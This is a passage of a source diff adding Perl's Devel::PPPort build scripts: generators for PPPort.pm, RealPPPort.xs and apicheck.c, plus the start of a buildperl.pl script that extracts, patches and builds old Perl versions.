+ }
+}
+
+my @perl_api;
+for (keys %provides) {
+ next if /^Perl_(.*)/ && exists $embed{$1};
+ next if exists $embed{$_};
+ push @perl_api, $_;
+ check(2, "No API definition for provided element $_ found.");
+}
+
+push @perl_api, keys %embed;
+
+for (@perl_api) {
+ if (exists $provides{$_} && !exists $raw_base{$_}) {
+ check(2, "Mmmh, $_ doesn't seem to need backporting.");
+ }
+ my $line = "$_|" . (exists $provides{$_} && exists $raw_base{$_} ? $raw_base{$_} : '') . '|';
+ $line .= ($raw_todo{$_} || '') . '|';
+ $line .= 'p' if exists $provides{$_};
+ if (exists $embed{$_}) {
+ my $e = $embed{$_};
+ if (exists $e->{flags}{p}) {
+ my $args = $e->{args};
+ $line .= 'v' if @$args && $args->[-1][0] eq '...';
+ }
+ $line .= 'n' if exists $e->{flags}{n};
+ }
+ $_ = $line;
+}
+
+$data =~ s/^([\t ]*)__PERL_API__(\s*?)$/
+ join "\n", map "$1$_", sort @perl_api
+ /gem;
+
+my @todo;
+for (reverse sort keys %todo) {
+ my $ver = format_version($_);
+ my $todo = "=item perl $ver\n\n";
+ for (sort @{$todo{$_}}) {
+ $todo .= " $_\n";
+ }
+ push @todo, $todo;
+}
+
+$data =~ s{^__UNSUPPORTED_API__(\s*?)^}
+ {join "\n", @todo}gem;
+
+$data =~ s{__MIN_PERL__}{5.003}g;
+$data =~ s{__MAX_PERL__}{5.20}g;
+
+open FH, ">PPPort.pm" or die "PPPort.pm: $!\n";
+print FH $data;
+close FH;
+
+exit 0;
+
+sub include
+{
+ my($file, $opt) = @_;
+
+ print "including $file\n";
+
+ my $data = parse_partspec("$INCLUDE/$file");
+
+ for (@{$data->{provides}}) {
+ if (exists $provides{$_}) {
+ if ($provides{$_} ne $file) {
+ warn "$file: $_ already provided by $provides{$_}\n";
+ }
+ }
+ else {
+ $provides{$_} = $file;
+ }
+ }
+
+ for (keys %{$data->{prototypes}}) {
+ $prototypes{$_} = $data->{prototypes}{$_};
+ $data->{implementation} =~ s/^$_(?=\s*\()/$DPPP(my_$_)/mg;
+ }
+
+ my $out = $data->{implementation};
+
+ if (exists $opt->{indent}) {
+ $out =~ s/^/$opt->{indent}/gm;
+ }
+
+ return $out;
+}
+
+sub expand
+{
+ my $code = shift;
+ $code =~ s{^(\s*#\s*(?:el)?if\s+)(.*)$}{$1.expand_pp_expressions($2)}gem;
+ $code =~ s{^\s*
+ __UNDEFINED__
+ \s+
+ (
+ ( \w+ )
+ (?: \( [^)]* \) )?
+ )
+ [^\r\n\S]*
+ (
+ (?:[^\r\n\\]|\\[^\r\n])*
+ (?:
+ \\
+ (?:\r\n|[\r\n])
+ (?:[^\r\n\\]|\\[^\r\n])*
+ )*
+ )
+ \s*$}
+ {expand_undefined($2, $1, $3)}gemx;
+ $code =~ s{^([^\S\r\n]*)__NEED_VAR__\s+(.*?)\s+(\w+)(?:\s*=\s*([^;]+?))?\s*;\s*$}
+ {expand_need_var($1, $3, $2, $4)}gem;
+ $code =~ s{^([^\S\r\n]*)__NEED_DUMMY_VAR__\s+(.*?)\s+(\w+)(?:\s*=\s*([^;]+?))?\s*;\s*$}
+ {expand_need_dummy_var($1, $3, $2, $4)}gem;
+ return $code;
+}
+
+sub expand_need_var
+{
+ my($indent, $var, $type, $init) = @_;
+
+ $explicit{$var} = 'var';
+
+ my $myvar = "$DPPP(my_$var)";
+ $init = defined $init ? " = $init" : "";
+
+ my $code = <<ENDCODE;
+#if defined(NEED_$var)
+static $type $myvar$init;
+#elif defined(NEED_${var}_GLOBAL)
+$type $myvar$init;
+#else
+extern $type $myvar;
+#endif
+#define $var $myvar
+ENDCODE
+
+ $code =~ s/^/$indent/mg;
+
+ return $code;
+}
+
+sub expand_need_dummy_var
+{
+ my($indent, $var, $type, $init) = @_;
+
+ $explicit{$var} = 'var';
+
+ my $myvar = "$DPPP(dummy_$var)";
+ $init = defined $init ? " = $init" : "";
+
+ my $code = <<ENDCODE;
+#if defined(NEED_$var)
+static $type $myvar$init;
+#elif defined(NEED_${var}_GLOBAL)
+$type $myvar$init;
+#else
+extern $type $myvar;
+#endif
+ENDCODE
+
+ $code =~ s/^/$indent/mg;
+
+ return $code;
+}
+
+sub expand_undefined
+{
+ my($macro, $withargs, $def) = @_;
+ my $rv = "#ifndef $macro\n# define ";
+
+ if (defined $def && $def =~ /\S/) {
+ $rv .= sprintf "%-30s %s", $withargs, $def;
+ }
+ else {
+ $rv .= $withargs;
+ }
+
+ $rv .= "\n#endif\n";
+
+ return $rv;
+}
+
+sub expand_pp_expressions
+{
+ my $pp = shift;
+ $pp =~ s/\{([^\}]+)\}/expand_pp_expr($1)/ge;
+ return $pp;
+}
+
+sub expand_pp_expr
+{
+ my $expr = shift;
+
+ if ($expr =~ /^\s*need\s+(\w+)\s*$/i) {
+ my $func = $1;
+ my $e = $embed{$func} or die "unknown API function '$func' in NEED\n";
+ my $proto = make_prototype($e);
+ if (exists $prototypes{$func}) {
+ if (compare_prototypes($proto, $prototypes{$func})) {
+ check(1, "differing prototypes for $func:\n API: $proto\n PPP: $prototypes{$func}");
+ $proto = $prototypes{$func};
+ }
+ }
+ else {
+ warn "found no prototype for $func\n";;
+ }
+
+ $explicit{$func} = 'func';
+
+ $proto =~ s/\b$func(?=\s*\()/$DPPP(my_$func)/;
+ my $embed = make_embed($e);
+
+ return "defined(NEED_$func)\n"
+ . "static $proto;\n"
+ . "static\n"
+ . "#else\n"
+ . "extern $proto;\n"
+ . "#endif\n"
+ . "\n"
+ . "#if defined(NEED_$func) || defined(NEED_${func}_GLOBAL)\n"
+ . "\n"
+ . "$embed\n";
+ }
+
+ die "cannot expand preprocessor expression '$expr'\n";
+}
+
+sub make_embed
+{
+ my $f = shift;
+ my $n = $f->{name};
+ my $a = do { my $x = 'a'; join ',', map { $x++ } 1 .. @{$f->{args}} };
+ my $lastarg = ${$f->{args}}[-1];
+
+ if ($f->{flags}{n}) {
+ if ($f->{flags}{p}) {
+ return "#define $n $DPPP(my_$n)\n" .
+ "#define Perl_$n $DPPP(my_$n)";
+ }
+ else {
+ return "#define $n $DPPP(my_$n)";
+ }
+ }
+ else {
+ my $undef = <<UNDEF;
+#ifdef $n
+# undef $n
+#endif
+UNDEF
+ if ($f->{flags}{p}) {
+ if ($f->{flags}{f}) {
+ return "#define Perl_$n $DPPP(my_$n)";
+ }
+ elsif (@$lastarg && $lastarg->[0] =~ /\.\.\./) {
+ return $undef . "#define $n $DPPP(my_$n)\n" .
+ "#define Perl_$n $DPPP(my_$n)";
+ }
+ else {
+ return $undef . "#define $n($a) $DPPP(my_$n)(aTHX_ $a)\n" .
+ "#define Perl_$n $DPPP(my_$n)";
+ }
+ }
+ else {
+ return $undef . "#define $n($a) $DPPP(my_$n)(aTHX_ $a)";
+ }
+ }
+}
+
+sub check
+{
+ my $level = shift;
+
+ if (exists $ENV{DPPP_CHECK_LEVEL} and $ENV{DPPP_CHECK_LEVEL} >= $level) {
+ print STDERR @_, "\n";
+ }
+}
+
+__DATA__
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! -- Edit PPPort_pm.PL instead. !!!!!
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by PPPort_pm.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+#
+# Perl/Pollution/Portability
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+=head1 NAME
+
+Devel::PPPort - Perl/Pollution/Portability
+
+=head1 SYNOPSIS
+
+ Devel::PPPort::WriteFile(); # defaults to ./ppport.h
+ Devel::PPPort::WriteFile('someheader.h');
+
+ # Same as above but retrieve contents rather than write file
+ my $contents = Devel::PPPort::GetFileContents();
+ my $contents = Devel::PPPort::GetFileContents('someheader.h');
+
+=head1 DESCRIPTION
+
+Perl's API has changed over time, gaining new features, new functions,
+increasing its flexibility, and reducing the impact on the C namespace
+environment (reduced pollution). The header file written by this module,
+typically F<ppport.h>, attempts to bring some of the newer Perl API
+features to older versions of Perl, so that you can worry less about
+keeping track of old releases, but users can still reap the benefit.
+
+C<Devel::PPPort> contains two functions, C<WriteFile> and C<GetFileContents>.
+C<WriteFile>'s only purpose is to write the F<ppport.h> C header file.
+This file contains a series of macros and, if explicitly requested, functions
+that allow XS modules to be built using older versions of Perl. Currently,
+Perl versions from __MIN_PERL__ to __MAX_PERL__ are supported.
+
+C<GetFileContents> can be used to retrieve the file contents rather than
+writing it out.
+
+This module is used by C<h2xs> to write the file F<ppport.h>.
+
+=head2 Why use ppport.h?
+
+You should use F<ppport.h> in modern code so that your code will work
+with the widest range of Perl interpreters possible, without significant
+additional work.
+
+You should attempt older code to fully use F<ppport.h>, because the
+reduced pollution of newer Perl versions is an important thing. It's so
+important that the old polluting ways of original Perl modules will not be
+supported very far into the future, and your module will almost certainly
+break! By adapting to it now, you'll gain compatibility and a sense of
+having done the electronic ecology some good.
+
+=head2 How to use ppport.h
+
+Don't direct the users of your module to download C<Devel::PPPort>.
+They are most probably no XS writers. Also, don't make F<ppport.h>
+optional. Rather, just take the most recent copy of F<ppport.h> that
+you can find (e.g. by generating it with the latest C<Devel::PPPort>
+release from CPAN), copy it into your project, adjust your project to
+use it, and distribute the header along with your module.
+
+=head2 Running ppport.h
+
+But F<ppport.h> is more than just a C header. It's also a Perl script
+that can check your source code. It will suggest hints and portability
+notes, and can even make suggestions on how to change your code. You
+can run it like any other Perl program:
+
+ perl ppport.h [options] [files]
+
+It also has embedded documentation, so you can use
+
+ perldoc ppport.h
+
+to find out more about how to use it.
+
+=head1 FUNCTIONS
+
+=head2 WriteFile
+
+C<WriteFile> takes one optional argument. When called with one
+argument, it expects to be passed a filename. When called with
+no arguments, it defaults to the filename F<ppport.h>.
+
+The function returns a true value if the file was written successfully.
+Otherwise it returns a false value.
+
+=head2 GetFileContents
+
+C<GetFileContents> behaves like C<WriteFile> above, but returns the contents
+of the would-be file rather than writing it out.
+
+=head1 COMPATIBILITY
+
+F<ppport.h> supports Perl versions from __MIN_PERL__ to __MAX_PERL__
+in threaded and non-threaded configurations.
+
+=head2 Provided Perl compatibility API
+
+The header file written by this module, typically F<ppport.h>, provides
+access to the following elements of the Perl API that is not available
+in older Perl releases:
+
+ __PROVIDED_API__
+
+=head2 Perl API not supported by ppport.h
+
+There is still a big part of the API not supported by F<ppport.h>.
+Either because it doesn't make sense to back-port that part of the API,
+or simply because it hasn't been implemented yet. Patches welcome!
+
+Here's a list of the currently unsupported API, and also the version of
+Perl below which it is unsupported:
+
+=over 4
+
+__UNSUPPORTED_API__
+
+=back
+
+=head1 BUGS
+
+If you find any bugs, C<Devel::PPPort> doesn't seem to build on your
+system, or any of its tests fail, please send a bug report to
+L<perlbug@perl.org|mailto:perlbug@perl.org>.
+
+=head1 AUTHORS
+
+=over 2
+
+=item *
+
+Version 1.x of Devel::PPPort was written by Kenneth Albanowski.
+
+=item *
+
+Version 2.x was ported to the Perl core by Paul Marquess.
+
+=item *
+
+Version 3.x was ported back to CPAN by Marcus Holland-Moritz.
+
+=item *
+
+Versions >= 3.22 are maintained with support from Matthew Horsfall (alh).
+
+=back
+
+=head1 COPYRIGHT
+
+Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+
+Version 2.x, Copyright (C) 2001, Paul Marquess.
+
+Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+=head1 SEE ALSO
+
+See L<h2xs>, L<ppport.h>.
+
+=cut
+
+package Devel::PPPort;
+
+use strict;
+use vars qw($VERSION $data);
+
+$VERSION = '3.40';
+
+sub _init_data
+{
+ $data = do { local $/; <DATA> };
+ my $pkg = 'Devel::PPPort';
+ $data =~ s/__PERL_VERSION__/$]/g;
+ $data =~ s/__VERSION__/$VERSION/g;
+ $data =~ s/__PKG__/$pkg/g;
+ $data =~ s/^\|>//gm;
+}
+
+sub GetFileContents {
+ my $file = shift || 'ppport.h';
+ defined $data or _init_data();
+ my $copy = $data;
+ $copy =~ s/\bppport\.h\b/$file/g;
+
+ return $copy;
+}
+
+sub WriteFile
+{
+ my $file = shift || 'ppport.h';
+ my $data = GetFileContents($file);
+ open F, ">$file" or return undef;
+ print F $data;
+ close F;
+
+ return 1;
+}
+
+1;
+
+__DATA__
+#if 0
+<<'SKIP';
+#endif
+/*
+----------------------------------------------------------------------
+
+ ppport.h -- Perl/Pollution/Portability Version __VERSION__
+
+ Automatically created by __PKG__ running under perl __PERL_VERSION__.
+
+ Do NOT edit this file directly! -- Edit PPPort_pm.PL and the
+ includes in parts/inc/ instead.
+
+ Use 'perldoc ppport.h' to view the documentation below.
+
+----------------------------------------------------------------------
+
+SKIP
+
+%include ppphdoc { indent => '|>' }
+
+%include ppphbin
+
+__DATA__
+*/
+
+#ifndef _P_P_PORTABILITY_H_
+#define _P_P_PORTABILITY_H_
+
+#ifndef DPPP_NAMESPACE
+# define DPPP_NAMESPACE DPPP_
+#endif
+
+#define DPPP_CAT2(x,y) CAT2(x,y)
+#define DPPP_(name) DPPP_CAT2(DPPP_NAMESPACE, name)
+
+%include version
+
+%include threads
+
+%include limits
+
+%include uv
+
+%include memory
+
+%include magic
+
+%include misc
+
+%include format
+
+%include mess
+
+%include variables
+
+%include mPUSH
+
+%include call
+
+%include newRV
+
+%include newCONSTSUB
+
+%include MY_CXT
+
+%include SvREFCNT
+
+%include newSV_type
+
+%include newSVpv
+
+%include SvPV
+
+%include Sv_set
+
+%include sv_xpvf
+
+%include shared_pv
+
+%include HvNAME
+
+%include gv
+
+%include warn
+
+%include pvs
+
+%include cop
+
+%include grok
+
+%include snprintf
+
+%include sprintf
+
+%include exception
+
+%include strlfuncs
+
+%include pv_tools
+
+#endif /* _P_P_PORTABILITY_H_ */
+
+/* End of File ppport.h */
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/PPPort_xs.PL b/gnu/usr.bin/perl/dist/Devel-PPPort/PPPort_xs.PL
new file mode 100644
index 00000000000..d00cffa81bf
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/PPPort_xs.PL
@@ -0,0 +1,128 @@
+################################################################################
+#
+# PPPort_xs.PL -- generate RealPPPort.xs
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+$^W = 1;
+require "./parts/ppptools.pl";
+
+my %SECTION = (
+ xshead => { code => '', header => "/* ---- code from __FILE__ ---- */" },
+ xsinit => { code => '', header => "/* ---- code from __FILE__ ---- */" },
+ xsmisc => { code => '', header => "/* ---- code from __FILE__ ---- */" },
+ xsboot => { code => '', header => "/* ---- code from __FILE__ ---- */", indent => "\t" },
+ xsubs => { code => '', header => <<ENDHEADER },
+##----------------------------------------------------------------------
+## XSUBs for testing the implementation in __FILE__
+##----------------------------------------------------------------------
+ENDHEADER
+);
+
+if (not exists $ENV{PERL_NO_GET_CONTEXT} or $ENV{PERL_NO_GET_CONTEXT}) {
+$SECTION{xshead}{code} .= <<END;
+#define PERL_NO_GET_CONTEXT
+END
+}
+
+my $file;
+my $sec;
+
+for $file (all_files_in_dir('parts/inc')) {
+ my $spec = parse_partspec($file);
+
+ my $msg = 0;
+ for $sec (keys %SECTION) {
+ if (exists $spec->{$sec}) {
+ $msg++ or print "adding XS code from $file\n";
+ if (exists $SECTION{$sec}{header}) {
+ my $header = $SECTION{$sec}{header};
+ $header =~ s/__FILE__/$file/g;
+ $SECTION{$sec}{code} .= $header . "\n";
+ }
+ $SECTION{$sec}{code} .= $spec->{$sec} . "\n";
+ }
+ }
+}
+
+my $data = do { local $/; <DATA> };
+
+for $sec (keys %SECTION) {
+ my $code = $SECTION{$sec}{code};
+ if (exists $SECTION{$sec}{indent}) {
+ $code =~ s/^/$SECTION{$sec}{indent}/gm;
+ }
+ $code =~ s/[\r\n]+$//;
+ $data =~ s/^__\U$sec\E__$/$code/m;
+}
+
+open FH, ">RealPPPort.xs" or die "RealPPPort.xs: $!\n";
+print FH $data;
+close FH;
+
+exit 0;
+
+__DATA__
+/*******************************************************************************
+*
+* !!!!! Do NOT edit this file directly! -- Edit PPPort_xs.PL instead. !!!!!
+*
+* This file was automatically generated from the definition files in the
+* parts/inc/ subdirectory by PPPort_xs.PL. To learn more about how all this
+* works, please read the F<HACKERS> file that came with this distribution.
+*
+********************************************************************************
+*
+* Perl/Pollution/Portability
+*
+********************************************************************************
+*
+* Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+* Version 2.x, Copyright (C) 2001, Paul Marquess.
+* Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+*
+* This program is free software; you can redistribute it and/or
+* modify it under the same terms as Perl itself.
+*
+*******************************************************************************/
+
+/* ========== BEGIN XSHEAD ================================================== */
+
+__XSHEAD__
+
+/* =========== END XSHEAD =================================================== */
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+/* ========== BEGIN XSINIT ================================================== */
+
+__XSINIT__
+
+/* =========== END XSINIT =================================================== */
+
+#include "ppport.h"
+
+/* ========== BEGIN XSMISC ================================================== */
+
+__XSMISC__
+
+/* =========== END XSMISC =================================================== */
+
+MODULE = Devel::PPPort PACKAGE = Devel::PPPort
+
+BOOT:
+__XSBOOT__
+
+__XSUBS__
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/apicheck_c.PL b/gnu/usr.bin/perl/dist/Devel-PPPort/apicheck_c.PL
new file mode 100644
index 00000000000..c9ff8a416dc
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/apicheck_c.PL
@@ -0,0 +1,22 @@
+################################################################################
+#
+# apicheck_c.PL -- generate apicheck.c
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+
+my $out = 'apicheck.c';
+my @api = map { /^--api=(\w+)$/ ? ($1) : () } @ARGV;
+print "creating $out", (@api ? " (@api)" : ''), "\n";
+system $^X, 'parts/apicheck.pl', @api, $out
+ and die "couldn't create $out\n";
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/devel/buildperl.pl b/gnu/usr.bin/perl/dist/Devel-PPPort/devel/buildperl.pl
new file mode 100644
index 00000000000..72c1929adc9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/devel/buildperl.pl
@@ -0,0 +1,606 @@
+#!/usr/bin/perl -w
+################################################################################
+#
+# buildperl.pl -- build various versions of perl automatically
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+use Getopt::Long;
+use Pod::Usage;
+use File::Find;
+use File::Path;
+use Data::Dumper;
+use IO::File;
+use Cwd;
+
+# TODO: - extra arguments to Configure
+
+#
+# --test-archives=1 check if archives can be read
+# --test-archives=2 like 1, but also extract archives
+# --test-archives=3 like 2, but also apply patches
+#
+
+my %opt = (
+ prefix => '/tmp/perl/install/<config>/<perl>',
+ build => '/tmp/perl/build/<config>',
+ source => '/tmp/perl/source',
+ force => 0,
+ test => 0,
+ install => 1,
+ oneshot => 0,
+ configure => 0,
+ 'test-archives' => 0,
+);
+
+my %config = (
+ default => {
+ config_args => '-des',
+ },
+ thread => {
+ config_args => '-des -Dusethreads',
+ masked_versions => [ qr/^5\.00[01234]/ ],
+ },
+ thread5005 => {
+ config_args => '-des -Duse5005threads',
+ masked_versions => [ qr/^5\.00[012345]|^5\.(9|\d\d)|^5\.8\.9/ ],
+ },
+ debug => {
+ config_args => '-des -Doptimize=-g',
+ },
+);
+
+my @patch = (
+ {
+ perl => [
+ qr/^5\.00[01234]/,
+ qw/
+ 5.005
+ 5.005_01
+ 5.005_02
+ 5.005_03
+ /,
+ ],
+ subs => [
+ [ \&patch_db, 1 ],
+ ],
+ },
+ {
+ perl => [
+ qw/
+ 5.6.0
+ 5.6.1
+ 5.7.0
+ 5.7.1
+ 5.7.2
+ 5.7.3
+ 5.8.0
+ /,
+ ],
+ subs => [
+ [ \&patch_db, 3 ],
+ ],
+ },
+ {
+ perl => [
+ qr/^5\.004_0[1234]$/,
+ ],
+ subs => [
+ [ \&patch_doio ],
+ ],
+ },
+ {
+ perl => [
+ qw/
+ 5.005
+ 5.005_01
+ 5.005_02
+ /,
+ ],
+ subs => [
+ [ \&patch_sysv, old_format => 1 ],
+ ],
+ },
+ {
+ perl => [
+ qw/
+ 5.005_03
+ 5.005_04
+ /,
+ qr/^5\.6\.[0-2]$/,
+ qr/^5\.7\.[0-3]$/,
+ qr/^5\.8\.[0-8]$/,
+ qr/^5\.9\.[0-5]$/
+ ],
+ subs => [
+ [ \&patch_sysv ],
+ ],
+ },
+ {
+ perl => [
+ qr/^5\.004_05$/,
+ qr/^5\.005(?:_0[1-4])?$/,
+ qr/^5\.6\.[01]$/,
+ ],
+ subs => [
+ [ \&patch_configure ],
+ [ \&patch_makedepend_lc ],
+ ],
+ },
+ {
+ perl => [
+ '5.8.0',
+ ],
+ subs => [
+ [ \&patch_makedepend_lc ],
+ ],
+ },
+);
+
+my(%perl, @perls);
+
+GetOptions(\%opt, qw(
+ config=s@
+ prefix=s
+ build=s
+ source=s
+ perl=s@
+ force
+ test
+ install!
+ test-archives=i
+ patch!
+ oneshot
+)) or pod2usage(2);
+
+my %current;
+
+if ($opt{patch} || $opt{oneshot}) {
+ @{$opt{perl}} == 1 or die "Exactly one --perl must be given with --patch or --oneshot\n";
+ my $perl = $opt{perl}[0];
+ patch_source($perl) if !exists $opt{patch} || $opt{patch};
+ if (exists $opt{oneshot}) {
+ eval { require String::ShellQuote };
+ die "--oneshot requires String::ShellQuote to be installed\n" if $@;
+ %current = (config => 'oneshot', version => $perl);
+ $config{oneshot} = { config_args => String::ShellQuote::shell_quote(@ARGV) };
+ build_and_install($perl{$perl});
+ }
+ exit 0;
+}
+
+if (exists $opt{config}) {
+ for my $cfg (@{$opt{config}}) {
+ exists $config{$cfg} or die "Unknown configuration: $cfg\n";
+ }
+}
+else {
+ $opt{config} = [sort keys %config];
+}
+
+find(sub {
+ /^(perl-?(5\..*))\.tar\.(gz|bz2|lzma)$/ or return;
+ $perl{$1} = { version => $2, source => $File::Find::name, compress => $3 };
+}, $opt{source});
+
+if (exists $opt{perl}) {
+ for my $perl (@{$opt{perl}}) {
+ my $p = $perl;
+ exists $perl{$p} or $p = "perl$perl";
+ exists $perl{$p} or $p = "perl-$perl";
+ exists $perl{$p} or die "Cannot find perl: $perl\n";
+ push @perls, $p;
+ }
+}
+else {
+ @perls = sort keys %perl;
+}
+
+if ($opt{'test-archives'}) {
+ my $test = 'test';
+ my $cwd = cwd;
+ -d $test or mkpath($test);
+ chdir $test or die "chdir $test: $!\n";
+ for my $perl (@perls) {
+ eval {
+ my $d = extract_source($perl{$perl});
+ if ($opt{'test-archives'} > 2) {
+ my $cwd2 = cwd;
+ chdir $d or die "chdir $d: $!\n";
+ patch_source($perl{$perl}{version});
+ chdir $cwd2 or die "chdir $cwd2:$!\n"
+ }
+ rmtree($d) if -e $d;
+ };
+ warn $@ if $@;
+ }
+ chdir $cwd or die "chdir $cwd: $!\n";
+ print STDERR "cleaning up\n";
+ rmtree($test);
+ exit 0;
+}
+
+for my $cfg (@{$opt{config}}) {
+ for my $perl (@perls) {
+ my $config = $config{$cfg};
+ %current = (config => $cfg, perl => $perl, version => $perl{$perl}{version});
+
+ if (is($config->{masked_versions}, $current{version})) {
+ print STDERR "skipping $perl for configuration $cfg (masked)\n";
+ next;
+ }
+
+ if (-d expand($opt{prefix}) and !$opt{force}) {
+ print STDERR "skipping $perl for configuration $cfg (already installed)\n";
+ next;
+ }
+
+ my $cwd = cwd;
+
+ my $build = expand($opt{build});
+ -d $build or mkpath($build);
+ chdir $build or die "chdir $build: $!\n";
+
+ print STDERR "building $perl with configuration $cfg\n";
+ buildperl($perl, $config);
+
+ chdir $cwd or die "chdir $cwd: $!\n";
+ }
+}
+
+sub expand
+{
+ my $in = shift;
+ $in =~ s/(<(\w+)>)/exists $current{$2} ? $current{$2} : $1/eg;
+ return $in;
+}
+
+sub is
+{
+ my($s1, $s2) = @_;
+
+ defined $s1 != defined $s2 and return 0;
+
+ ref $s2 and ($s1, $s2) = ($s2, $s1);
+
+ if (ref $s1) {
+ if (ref $s1 eq 'ARRAY') {
+ is($_, $s2) and return 1 for @$s1;
+ return 0;
+ }
+ return $s2 =~ $s1;
+ }
+
+ return $s1 eq $s2;
+}
+
+sub buildperl
+{
+ my($perl, $cfg) = @_;
+
+ my $d = extract_source($perl{$perl});
+ chdir $d or die "chdir $d: $!\n";
+
+ patch_source($perl{$perl}{version});
+
+ build_and_install($perl{$perl});
+}
+
+sub extract_source
+{
+ eval { require Archive::Tar };
+ die "Archive processing requires Archive::Tar to be installed\n" if $@;
+
+ my $perl = shift;
+
+ my $what = $opt{'test-archives'} ? 'test' : 'read';
+ print "${what}ing $perl->{source}\n";
+
+ my $target;
+
+ for my $f (Archive::Tar->list_archive($perl->{source})) {
+ my($t) = $f =~ /^([^\\\/]+)/ or die "ooops, should always match...\n";
+ die "refusing to extract $perl->{source}, as it would not extract to a single directory\n"
+ if defined $target and $target ne $t;
+ $target = $t;
+ }
+
+ if ($opt{'test-archives'} == 0 || $opt{'test-archives'} > 1) {
+ if (-d $target) {
+ print "removing old build directory $target\n";
+ rmtree($target);
+ }
+
+ print "extracting $perl->{source}\n";
+
+ Archive::Tar->extract_archive($perl->{source})
+ or die "extract failed: " . Archive::Tar->error() . "\n";
+
+ -d $target or die "oooops, $target not found\n";
+ }
+
+ return $target;
+}
+
+sub patch_source
+{
+ my $version = shift;
+
+ for my $p (@patch) {
+ if (is($p->{perl}, $version)) {
+ for my $s (@{$p->{subs}}) {
+ my($sub, @args) = @$s;
+ $sub->(@args);
+ }
+ }
+ }
+}
+
+sub build_and_install
+{
+ my $perl = shift;
+ my $prefix = expand($opt{prefix});
+
+ run_or_die(q{sed -i -e "s:\\*/\\*) finc=\\"-I\\`echo \\$file | sed 's#/\\[^/\\]\\*\\$##\\`\\" ;;:*/*) finc=\\"-I\\`echo \\$file | sed 's#/[^/]\\*\\$##'\\`\\" ;;:" makedepend.SH});
+
+ print "building perl $perl->{version} ($current{config})\n";
+
+ run_or_die("./Configure $config{$current{config}}{config_args} -Dusedevel -Uinstallusrbinperl -Dprefix=$prefix");
+ if (-f "x2p/makefile") {
+ run_or_die("sed -i -e '/^.*<builtin>/d' -e '/^.*<built-in>/d' -e '/^.*<command line>/d' -e '/^.*<command-line>/d' makefile x2p/makefile");
+ }
+ run_or_die("make all");
+ run("make test") if $opt{test};
+ if ($opt{install}) {
+ run_or_die("make install");
+ }
+ else {
+ print "\n*** NOT INSTALLING PERL ***\n\n";
+ }
+}
+
+sub patch_db
+{
+ my $ver = shift;
+ print "patching ext/DB_File/DB_File.xs\n";
+ run_or_die("sed -i -e 's/<db.h>/<db$ver\\/db.h>/' ext/DB_File/DB_File.xs");
+}
+
+sub patch_doio
+{
+ patch(<<'END');
+--- doio.c.org 2004-06-07 23:14:45.000000000 +0200
++++ doio.c 2003-11-04 08:03:03.000000000 +0100
+@@ -75,6 +75,16 @@
+ # endif
+ #endif
+
++#if _SEM_SEMUN_UNDEFINED
++union semun
++{
++ int val;
++ struct semid_ds *buf;
++ unsigned short int *array;
++ struct seminfo *__buf;
++};
++#endif
++
+ bool
+ do_open(gv,name,len,as_raw,rawmode,rawperm,supplied_fp)
+ GV *gv;
+END
+}
+
+sub patch_sysv
+{
+ my %opt = @_;
+
+ # check if patching is required
+ return if $^O ne 'linux' or -f '/usr/include/asm/page.h';
+
+ if ($opt{old_format}) {
+ patch(<<'END');
+--- ext/IPC/SysV/SysV.xs.org 1998-07-20 10:20:07.000000000 +0200
++++ ext/IPC/SysV/SysV.xs 2007-08-12 10:51:06.000000000 +0200
+@@ -3,9 +3,6 @@
+ #include "XSUB.h"
+
+ #include <sys/types.h>
+-#ifdef __linux__
+-#include <asm/page.h>
+-#endif
+ #if defined(HAS_MSG) || defined(HAS_SEM) || defined(HAS_SHM)
+ #include <sys/ipc.h>
+ #ifdef HAS_MSG
+END
+ }
+ else {
+ patch(<<'END');
+--- ext/IPC/SysV/SysV.xs.org 2007-08-11 00:12:46.000000000 +0200
++++ ext/IPC/SysV/SysV.xs 2007-08-11 00:10:51.000000000 +0200
+@@ -3,9 +3,6 @@
+ #include "XSUB.h"
+
+ #include <sys/types.h>
+-#ifdef __linux__
+-# include <asm/page.h>
+-#endif
+ #if defined(HAS_MSG) || defined(HAS_SEM) || defined(HAS_SHM)
+ #ifndef HAS_SEM
+ # include <sys/ipc.h>
+END
+ }
+}
+
+sub patch_configure
+{
+ patch(<<'END');
+--- Configure
++++ Configure
+@@ -3380,6 +3380,18 @@
+ test "X$gfpthkeep" != Xy && gfpth=""
+ EOSC
+
